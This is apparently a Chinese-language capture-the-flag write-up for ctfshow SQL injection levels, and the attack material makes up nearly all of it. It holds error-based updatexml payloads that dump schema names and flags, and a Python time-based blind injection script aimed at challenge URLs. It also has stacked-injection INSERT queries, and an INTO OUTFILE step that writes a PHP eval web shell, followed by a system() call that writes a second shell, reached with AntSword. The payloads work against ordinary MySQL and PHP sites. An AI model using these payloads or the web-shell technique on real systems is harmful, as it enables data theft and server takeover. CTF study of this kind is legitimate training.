?sort=updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name='flags')and(table_schema='ctfshow'))),0x7e),1) # flag4s
?sort=updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)
# ctfshow{279b84e7-7fc8-4285-9ed0
?sort=updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)
# -4285-9ed0-5801b2b125ae}
结合一下得到flag:ctfshow{279b84e7-7fc8-4285-9ed0-5801b2b125ae}
时间盲注
import requests
if __name__ == '__main__':
url = 'http://b2bb6526-4937-4bb9-b38e-82ac3592fe90.challenge.ctf.show/?sort=1%20and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr(database(),{i},1))>{mid},sleep(0.2),0)%23--+'
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flags"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flags),{i},1))>{mid},sleep(0.2),0)%23'
print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
传马
?sort=1 into outfile "/var/www/html/1.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b3f3e2020--+
1=system("echo '<?php eval(\$_POST[1]);?> '>2.php");
蚁剑连2.php
堆叠注入
好前面讲了堆叠注入的原理还一直没有实践过,现在来讲讲
这里是对users表进行了插入操作,把当前数据库回显出来了
?sort=1;insert into users(id,username,password) values ('50','less50',database())
再次查询就能看到我们插入的数据
那么就可以在插入数据的同时查询数据
?sort=1;insert into users(id,username,password) values ('51','less50',(select schema_name from information_schema.schemata limit 1))
当然也有限制,只能一个一个的查,不能一次性把全部都回显出来
?sort=1;insert into users(id,username,password) values ('52','less50',(select table_name from information_schema.tables where table_schema="ctfshow" limit 1))
?sort=1;insert into users(id,username,password) values ('54','less50',(select column_name from information_schema.columns where table_name="flags" and table_schema="ctfshow" limit 2))
?sort=1;insert into users(id,username,password) values ('55','less50',(select flag4s from ctfshow.flags limit 1))
52、报错注入/时间盲注/传马(单引号)
报错注入
?sort=1' || updatexml(1,concat(0x7e,database()),1)--+
?sort=1' || updatexml(1,concat(0x7e,right((select(group_concat(schema_name))from(information_schema.schemata)),24),0x7e),1)--+
# ctfshow 这个吧ctfshow数据库放到后面去了,所以要用到right来查看
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctfshow')),0x7e),1)--+ # flags
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name='flags')and(table_schema='ctfshow'))),0x7e),1)--+ # flag4s
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(flag4s))from(ctfshow.flags)),0x7e),1)--+
# ctfshow{6270e9de-8f90-4188-b1cd
?sort=1' || updatexml(1,concat(0x7e,(select(group_concat(right(flag4s,24)))from(ctfshow.flags)),0x7e),1)--+
# -4188-b1cd-729e4d00c150}
结合一下得到flag:ctfshow{6270e9de-8f90-4188-b1cd-729e4d00c150}
时间盲注
import requests
if __name__ == '__main__':
url = 'http://3c92c2ec-856e-4f8f-937e-b91495c56672.challenge.ctf.show/?sort=1%20%27and%20'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 127
while low < high:
mid = (low + high) // 2
# payload = f'if(ascii(substr(database(),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1))>{mid},sleep(0.2),0)%23'
# payload = f'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="flags"),{i},1))>{mid},sleep(0.2),0)%23'
payload = f'if(ascii(substr((select group_concat(flag4s) from ctfshow.flags),{i},1))>{mid},sleep(0.2),0)%23'
print(payload)
r = requests.get(url=url + payload)
try:
r = requests.get(url=url + payload, timeout=0.15)
high = mid
except:
low = mid + 1
if low != 32:
result += chr(low)
else:
break
print(result)
另外我觉得马的那个还是可以,但是就是写不上去
?sort=1' into outfile "/var/www/html/1.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b315d293b3f3e2020--+
1=system("echo '<?php eval(\$_POST[1]);?> '>2.php");
蚁剑连2.php
终于完结了,当然,我总结的wp可能不是最好的,但应该至少每一道题都能有确切的解法,还有其他的解法以后再学吧,至少我现在还得过一遍top10,把实习稳住先吧,太难了